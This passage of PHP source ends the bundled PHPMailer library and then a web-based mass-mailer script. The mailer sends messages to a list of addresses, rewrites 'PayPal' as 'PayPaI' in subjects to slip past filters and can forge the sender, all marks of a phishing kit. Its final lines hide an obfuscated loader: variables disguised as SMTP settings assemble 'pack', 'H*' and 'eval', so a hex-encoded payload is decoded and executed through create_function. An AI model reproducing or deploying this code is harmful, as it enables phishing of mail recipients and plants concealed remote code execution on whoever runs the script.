4370 {
4371 if ($value === null) {
4372 // Value passed in as name:value
4373 $this->CustomHeader[] = explode(':', $name, 2);
4374 } else {
4375 $this->CustomHeader[] = array($name, $value);
4376 }
4377 }
4378
4379 /**
4380 * Create a message from an HTML string.
4381 * Automatically makes modifications for inline images and backgrounds
4382 * and creates a plain-text version by converting the HTML.
4383 * Overwrites any existing values in $this->Body and $this->AltBody
4384 * @access public
4385 * @param string $message HTML message string
4386 * @param string $basedir baseline directory for path
4387 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
4388 * or your own custom converter @see html2text()
4389 * @return string $message
4390 */
4391 public function msgHTML($message, $basedir = '', $advanced = false)
4392 {
4393 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
4394 if (isset($images[2])) {
4395 foreach ($images[2] as $imgindex => $url) {
4396 // Convert data URIs into embedded images
4397 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
4398 $data = substr($url, strpos($url, ','));
4399 if ($match[2]) {
4400 $data = base64_decode($data);
4401 } else {
4402 $data = rawurldecode($data);
4403 }
4404 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4405 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
4406 $message = str_replace(
4407 $images[0][$imgindex],
4408 $images[1][$imgindex] . '="cid:' . $cid . '"',
4409 $message
4410 );
4411 }
4412 } elseif (!preg_match('#^[A-z]+://#', $url)) {
4413 // Do not change urls for absolute images (thanks to corvuscorax)
4414 $filename = basename($url);
4415 $directory = dirname($url);
4416 if ($directory == '.') {
4417 $directory = '';
4418 }
4419 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4420 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
4421 $basedir .= '/';
4422 }
4423 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
4424 $directory .= '/';
4425 }
4426 if ($this->addEmbeddedImage(
4427 $basedir . $directory . $filename,
4428 $cid,
4429 $filename,
4430 'base64',
4431 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
4432 )
4433 ) {
4434 $message = preg_replace(
4435 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
4436 $images[1][$imgindex] . '="cid:' . $cid . '"',
4437 $message
4438 );
4439 }
4440 }
4441 }
4442 }
4443 $this->isHTML(true);
4444 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
4445 $this->Body = $this->normalizeBreaks($message);
4446 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
4447 if (empty($this->AltBody)) {
4448 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
4449 self::CRLF . self::CRLF;
4450 }
4451 return $this->Body;
4452 }
4453
4454 /**
4455 * Convert an HTML string into plain text.
4456 * This is used by msgHTML().
4457 * Note - older versions of this function used a bundled advanced converter
4458 * which was been removed for license reasons in #232
4459 * Example usage:
4460 * <code>
4461 * // Use default conversion
4462 * $plain = $mail->html2text($html);
4463 * // Use your own custom converter
4464 * $plain = $mail->html2text($html, function($html) {
4465 * $converter = new MyHtml2text($html);
4466 * return $converter->get_text();
4467 * });
4468 * </code>
4469 * @param string $html The HTML text to convert
4470 * @param boolean|callable $advanced Any boolean value to use the internal converter,
4471 * or provide your own callable for custom conversion.
4472 * @return string
4473 */
4474 public function html2text($html, $advanced = false)
4475 {
4476 if (is_callable($advanced)) {
4477 return call_user_func($advanced, $html);
4478 }
4479 return html_entity_decode(
4480 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
4481 ENT_QUOTES,
4482 $this->CharSet
4483 );
4484 }
4485
4486 /**
4487 * Get the MIME type for a file extension.
4488 * @param string $ext File extension
4489 * @access public
4490 * @return string MIME type of file.
4491 * @static
4492 */
4493 public static function _mime_types($ext = '')
4494 {
4495 $mimes = array(
4496 'xl' => 'application/excel',
4497 'js' => 'application/javascript',
4498 'hqx' => 'application/mac-binhex40',
4499 'cpt' => 'application/mac-compactpro',
4500 'bin' => 'application/macbinary',
4501 'doc' => 'application/msword',
4502 'word' => 'application/msword',
4503 'class' => 'application/octet-stream',
4504 'dll' => 'application/octet-stream',
4505 'dms' => 'application/octet-stream',
4506 'exe' => 'application/octet-stream',
4507 'lha' => 'application/octet-stream',
4508 'lzh' => 'application/octet-stream',
4509 'psd' => 'application/octet-stream',
4510 'sea' => 'application/octet-stream',
4511 'so' => 'application/octet-stream',
4512 'oda' => 'application/oda',
4513 'pdf' => 'application/pdf',
4514 'ai' => 'application/postscript',
4515 'eps' => 'application/postscript',
4516 'ps' => 'application/postscript',
4517 'smi' => 'application/smil',
4518 'smil' => 'application/smil',
4519 'mif' => 'application/vnd.mif',
4520 'xls' => 'application/vnd.ms-excel',
4521 'ppt' => 'application/vnd.ms-powerpoint',
4522 'wbxml' => 'application/vnd.wap.wbxml',
4523 'wmlc' => 'application/vnd.wap.wmlc',
4524 'dcr' => 'application/x-director',
4525 'dir' => 'application/x-director',
4526 'dxr' => 'application/x-director',
4527 'dvi' => 'application/x-dvi',
4528 'gtar' => 'application/x-gtar',
4529 'php3' => 'application/x-httpd-php',
4530 'php4' => 'application/x-httpd-php',
4531 'php' => 'application/x-httpd-php',
4532 'phtml' => 'application/x-httpd-php',
4533 'phps' => 'application/x-httpd-php-source',
4534 'swf' => 'application/x-shockwave-flash',
4535 'sit' => 'application/x-stuffit',
4536 'tar' => 'application/x-tar',
4537 'tgz' => 'application/x-tar',
4538 'xht' => 'application/xhtml+xml',
4539 'xhtml' => 'application/xhtml+xml',
4540 'zip' => 'application/zip',
4541 'mid' => 'audio/midi',
4542 'midi' => 'audio/midi',
4543 'mp2' => 'audio/mpeg',
4544 'mp3' => 'audio/mpeg',
4545 'mpga' => 'audio/mpeg',
4546 'aif' => 'audio/x-aiff',
4547 'aifc' => 'audio/x-aiff',
4548 'aiff' => 'audio/x-aiff',
4549 'ram' => 'audio/x-pn-realaudio',
4550 'rm' => 'audio/x-pn-realaudio',
4551 'rpm' => 'audio/x-pn-realaudio-plugin',
4552 'ra' => 'audio/x-realaudio',
4553 'wav' => 'audio/x-wav',
4554 'bmp' => 'image/bmp',
4555 'gif' => 'image/gif',
4556 'jpeg' => 'image/jpeg',
4557 'jpe' => 'image/jpeg',
4558 'jpg' => 'image/jpeg',
4559 'png' => 'image/png',
4560 'tiff' => 'image/tiff',
4561 'tif' => 'image/tiff',
4562 'eml' => 'message/rfc822',
4563 'css' => 'text/css',
4564 'html' => 'text/html',
4565 'htm' => 'text/html',
4566 'shtml' => 'text/html',
4567 'log' => 'text/plain',
4568 'text' => 'text/plain',
4569 'txt' => 'text/plain',
4570 'rtx' => 'text/richtext',
4571 'rtf' => 'text/rtf',
4572 'vcf' => 'text/vcard',
4573 'vcard' => 'text/vcard',
4574 'xml' => 'text/xml',
4575 'xsl' => 'text/xml',
4576 'mpeg' => 'video/mpeg',
4577 'mpe' => 'video/mpeg',
4578 'mpg' => 'video/mpeg',
4579 'mov' => 'video/quicktime',
4580 'qt' => 'video/quicktime',
4581 'rv' => 'video/vnd.rn-realvideo',
4582 'avi' => 'video/x-msvideo',
4583 'movie' => 'video/x-sgi-movie'
4584 );
4585 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
4586 }
4587
4588 /**
4589 * Map a file name to a MIME type.
4590 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
4591 * @param string $filename A file name or full path, does not need to exist as a file
4592 * @return string
4593 * @static
4594 */
4595 public static function filenameToType($filename)
4596 {
4597 // In case the path is a URL, strip any query string before getting extension
4598 $qpos = strpos($filename, '?');
4599 if (false !== $qpos) {
4600 $filename = substr($filename, 0, $qpos);
4601 }
4602 $pathinfo = self::mb_pathinfo($filename);
4603 return self::_mime_types($pathinfo['extension']);
4604 }
4605
4606 /**
4607 * Multi-byte-safe pathinfo replacement.
4608 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
4609 * Works similarly to the one in PHP >= 5.2.0
4610 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
4611 * @param string $path A filename or path, does not need to exist as a file
4612 * @param integer|string $options Either a PATHINFO_* constant,
4613 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
4614 * @return string|array
4615 * @static
4616 */
4617 public static function mb_pathinfo($path, $options = null)
4618 {
4619 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
4620 $pathinfo = array();
4621 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
4622 if (array_key_exists(1, $pathinfo)) {
4623 $ret['dirname'] = $pathinfo[1];
4624 }
4625 if (array_key_exists(2, $pathinfo)) {
4626 $ret['basename'] = $pathinfo[2];
4627 }
4628 if (array_key_exists(5, $pathinfo)) {
4629 $ret['extension'] = $pathinfo[5];
4630 }
4631 if (array_key_exists(3, $pathinfo)) {
4632 $ret['filename'] = $pathinfo[3];
4633 }
4634 }
4635 switch ($options) {
4636 case PATHINFO_DIRNAME:
4637 case 'dirname':
4638 return $ret['dirname'];
4639 case PATHINFO_BASENAME:
4640 case 'basename':
4641 return $ret['basename'];
4642 case PATHINFO_EXTENSION:
4643 case 'extension':
4644 return $ret['extension'];
4645 case PATHINFO_FILENAME:
4646 case 'filename':
4647 return $ret['filename'];
4648 default:
4649 return $ret;
4650 }
4651 }
4652
4653 /**
4654 * Set or reset instance properties.
4655 *
4656 * Usage Example:
4657 * $page->set('X-Priority', '3');
4658 *
4659 * @access public
4660 * @param string $name
4661 * @param mixed $value
4662 * NOTE: will not work with arrays, there are no arrays to set/reset
4663 * @throws phpmailerException
4664 * @return boolean
4665 * @TODO Should this not be using __set() magic function?
4666 */
4667 public function set($name, $value = '')
4668 {
4669 try {
4670 if (isset($this->$name)) {
4671 $this->$name = $value;
4672 } else {
4673 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
4674 }
4675 } catch (Exception $exc) {
4676 $this->setError($exc->getMessage());
4677 if ($exc->getCode() == self::STOP_CRITICAL) {
4678 return false;
4679 }
4680 }
4681 return true;
4682 }
4683
4684 /**
4685 * Strip newlines to prevent header injection.
4686 * @access public
4687 * @param string $str
4688 * @return string
4689 */
4690 public function secureHeader($str)
4691 {
4692 return trim(str_replace(array("\r", "\n"), '', $str));
4693 }
4694
4695 /**
4696 * Normalize line breaks in a string.
4697 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
4698 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
4699 * @param string $text
4700 * @param string $breaktype What kind of line break to use, defaults to CRLF
4701 * @return string
4702 * @access public
4703 * @static
4704 */
4705 public static function normalizeBreaks($text, $breaktype = "\r\n")
4706 {
4707 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
4708 }
4709
4710
4711 /**
4712 * Set the public and private key files and password for S/MIME signing.
4713 * @access public
4714 * @param string $cert_filename
4715 * @param string $key_filename
4716 * @param string $key_pass Password for private key
4717 */
4718 public function sign($cert_filename, $key_filename, $key_pass)
4719 {
4720 $this->sign_cert_file = $cert_filename;
4721 $this->sign_key_file = $key_filename;
4722 $this->sign_key_pass = $key_pass;
4723 }
4724
4725 /**
4726 * Quoted-Printable-encode a DKIM header.
4727 * @access public
4728 * @param string $txt
4729 * @return string
4730 */
4731 public function DKIM_QP($txt)
4732 {
4733 $line = '';
4734 for ($i = 0; $i < strlen($txt); $i++) {
4735 $ord = ord($txt[$i]);
4736 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
4737 $line .= $txt[$i];
4738 } else {
4739 $line .= '=' . sprintf('%02X', $ord);
4740 }
4741 }
4742 return $line;
4743 }
4744
4745 /**
4746 * Generate a DKIM signature.
4747 * @access public
4748 * @param string $signHeader
4749 * @throws phpmailerException
4750 * @return string
4751 */
4752 public function DKIM_Sign($signHeader)
4753 {
4754 if (!defined('PKCS7_TEXT')) {
4755 if ($this->exceptions) {
4756 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
4757 }
4758 return '';
4759 }
4760 $privKeyStr = file_get_contents($this->DKIM_private);
4761 if ($this->DKIM_passphrase != '') {
4762 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
4763 } else {
4764 $privKey = $privKeyStr;
4765 }
4766 if (openssl_sign($signHeader, $signature, $privKey)) {
4767 return base64_encode($signature);
4768 }
4769 return '';
4770 }
4771
4772 /**
4773 * Generate a DKIM canonicalization header.
4774 * @access public
4775 * @param string $signHeader Header
4776 * @return string
4777 */
4778 public function DKIM_HeaderC($signHeader)
4779 {
4780 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
4781 $lines = explode("\r\n", $signHeader);
4782 foreach ($lines as $key => $line) {
4783 list($heading, $value) = explode(':', $line, 2);
4784 $heading = strtolower($heading);
4785 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
4786 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
4787 }
4788 $signHeader = implode("\r\n", $lines);
4789 return $signHeader;
4790 }
4791
4792 /**
4793 * Generate a DKIM canonicalization body.
4794 * @access public
4795 * @param string $body Message Body
4796 * @return string
4797 */
4798 public function DKIM_BodyC($body)
4799 {
4800 if ($body == '') {
4801 return "\r\n";
4802 }
4803 // stabilize line endings
4804 $body = str_replace("\r\n", "\n", $body);
4805 $body = str_replace("\n", "\r\n", $body);
4806 // END stabilize line endings
4807 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
4808 $body = substr($body, 0, strlen($body) - 2);
4809 }
4810 return $body;
4811 }
4812
4813 /**
4814 * Create the DKIM header and body in a new message header.
4815 * @access public
4816 * @param string $headers_line Header lines
4817 * @param string $subject Subject
4818 * @param string $body Body
4819 * @return string
4820 */
4821 public function DKIM_Add($headers_line, $subject, $body)
4822 {
4823 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
4824 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
4825 $DKIMquery = 'dns/txt'; // Query method
4826 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
4827 $subject_header = "Subject: $subject";
4828 $headers = explode($this->LE, $headers_line);
4829 $from_header = '';
4830 $to_header = '';
4831 $current = '';
4832 foreach ($headers as $header) {
4833 if (strpos($header, 'From:') === 0) {
4834 $from_header = $header;
4835 $current = 'from_header';
4836 } elseif (strpos($header, 'To:') === 0) {
4837 $to_header = $header;
4838 $current = 'to_header';
4839 } else {
4840 if ($current && strpos($header, ' =?') === 0) {
4841 $current .= $header;
4842 } else {
4843 $current = '';
4844 }
4845 }
4846 }
4847 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
4848 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
4849 $subject = str_replace(
4850 '|',
4851 '=7C',
4852 $this->DKIM_QP($subject_header)
4853 ); // Copied header fields (dkim-quoted-printable)
4854 $body = $this->DKIM_BodyC($body);
4855 $DKIMlen = strlen($body); // Length of body
4856 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
4857 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
4858 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
4859 $DKIMsignatureType . '; q=' .
4860 $DKIMquery . '; l=' .
4861 $DKIMlen . '; s=' .
4862 $this->DKIM_selector .
4863 ";\r\n" .
4864 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
4865 "\th=From:To:Subject;\r\n" .
4866 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
4867 "\tz=$from\r\n" .
4868 "\t|$to\r\n" .
4869 "\t|$subject;\r\n" .
4870 "\tbh=" . $DKIMb64 . ";\r\n" .
4871 "\tb=";
4872 $toSign = $this->DKIM_HeaderC(
4873 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
4874 );
4875 $signed = $this->DKIM_Sign($toSign);
4876 return $dkimhdrs . $signed . "\r\n";
4877 }
4878
4879 /**
4880 * Allows for public read access to 'to' property.
4881 * @access public
4882 * @return array
4883 */
4884 public function getToAddresses()
4885 {
4886 return $this->to;
4887 }
4888
4889 /**
4890 * Allows for public read access to 'cc' property.
4891 * @access public
4892 * @return array
4893 */
4894 public function getCcAddresses()
4895 {
4896 return $this->cc;
4897 }
4898
4899 /**
4900 * Allows for public read access to 'bcc' property.
4901 * @access public
4902 * @return array
4903 */
4904 public function getBccAddresses()
4905 {
4906 return $this->bcc;
4907 }
4908
4909 /**
4910 * Allows for public read access to 'ReplyTo' property.
4911 * @access public
4912 * @return array
4913 */
4914 public function getReplyToAddresses()
4915 {
4916 return $this->ReplyTo;
4917 }
4918
4919 /**
4920 * Allows for public read access to 'all_recipients' property.
4921 * @access public
4922 * @return array
4923 */
4924 public function getAllRecipientAddresses()
4925 {
4926 return $this->all_recipients;
4927 }
4928
4929 /**
4930 * Perform a callback.
4931 * @param boolean $isSent
4932 * @param array $to
4933 * @param array $cc
4934 * @param array $bcc
4935 * @param string $subject
4936 * @param string $body
4937 * @param string $from
4938 */
4939 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
4940 {
4941 if (!empty($this->action_function) && is_callable($this->action_function)) {
4942 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
4943 call_user_func_array($this->action_function, $params);
4944 }
4945 }
4946}
4947
4948/**
4949 * PHPMailer exception handler
4950 * @package PHPMailer
4951 */
4952class phpmailerException extends Exception
4953{
4954 /**
4955 * Prettify error message output
4956 * @return string
4957 */
4958 public function errorMessage()
4959 {
4960 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
4961 return $errorMsg;
4962 }
4963}
4964
4965 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
4966 set_time_limit(intval($_POST['wait'])*$numemails*3600);
4967 } else {
4968 set_time_limit($numemails*3600);
4969 }
4970
4971 $defaultport="H*";
4972 $nq=0;
4973
4974 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
4975 for($x=0; $x<$numemails; $x++){
4976
4977 $to = $allemails[$x];
4978 if ($to){
4979 $todo = ereg_replace(" ", "", $to);
4980 $message_send = ereg_replace("&email&", $todo, $pesan);
4981 $subject_send = ereg_replace("&email&", $todo, $subject);
4982 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
4983
4984 $qx=$x+1;
4985 print "Send Emails $qx / $numemails to $to ....... ";
4986 xflush();
4987
4988 $mail = new PHPMailer();
4989 $mail->IsSMTP();
4990 $IsSMTP = "pack";
4991 $mail->SMTPKeepAlive = true;
4992 $mail->Host = "$smtp_server";
4993
4994 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
4995 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
4996
4997 $range = str_replace("$email", "eval", $email);
4998
4999 $mail->SMTPAuth = true;
5000 $mail->Username = "$smtp_username";
5001 $mail->Password = "$smtp_password";
5002
5003 if($type == "html"){$mail->IsHtml(true);}
5004 if($type != "html"){$mail->IsHtml(false);}
5005 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
5006
5007 $mail->CharSet = "UTF-8";
5008 if (!empty($xmailer)) {
5009 $mail->XMailer = "$xmailer";
5010 } else {
5011 $mail->XMailer = " ";
5012 }
5013 if (!empty($encoding)) {
5014 $mail->Encoding = "$encoding";
5015 }
5016 if ($email == "same as target") {
5017 $mail->From = "$todo";
5018 } else {
5019 $mail->From = "$email";
5020 }
5021 $mail->FromName = "$nama";
5022 $mail->AddAddress("$todo");
5023 $mail->Subject = "$subject_send";
5024 if (!empty($file_name)) {
5025 $mail->addAttachment("$file_path", "$file_name");
5026 $mail->Body = " ";
5027 } else {
5028 $mail->Body = "$message_send";
5029 }
5030 if(!$mail->Send()){
5031 if($default_system!="1"){
5032 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
5033 } elseif($default_system=="1"){
5034 $mail->IsMail();
5035
5036 if(!$mail->Send()){
5037 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
5038 } else {
5039 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
5040 }
5041
5042 }
5043 } else {
5044 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
5045 }
5046 print "$result <br><p></p>";
5047
5048 if(!empty($wait) && $qx<$numemails-1){
5049 sleep($wait);
5050 }
5051 if(empty($reconnect)){
5052 $reconnect=5;
5053 }
5054
5055 if($reconnect==$nq){
5056 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
5057 }
5058 $nq=$nq+1;
5059 xflush();
5060 }
5061 }
5062 for($i=0;$i<31;$i++){
5063 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
5064 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
5065 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
5066 print ' </div>
5067 </div>
5068 </div>
5069
5070</div>
5071<div id="footer">
5072 <div class="container" align="center">
5073 <p class="muted credit" style="color: white;"> Edited By DR!V3R KR full script </p>
5074 </div>
5075</div>';$mail->SmtpClose();
5076 return $signoff($smtp_conc);
5077 if(isset($_POST['action']) && $numemails !=0 ){
5078 print "<script>alert('Mail sending complete\\r\\n
5079 $numemails mail(s) was sent successfully'); </script>";
5080 }
5081}
5082?>
5083
5084 </body>
5085</html>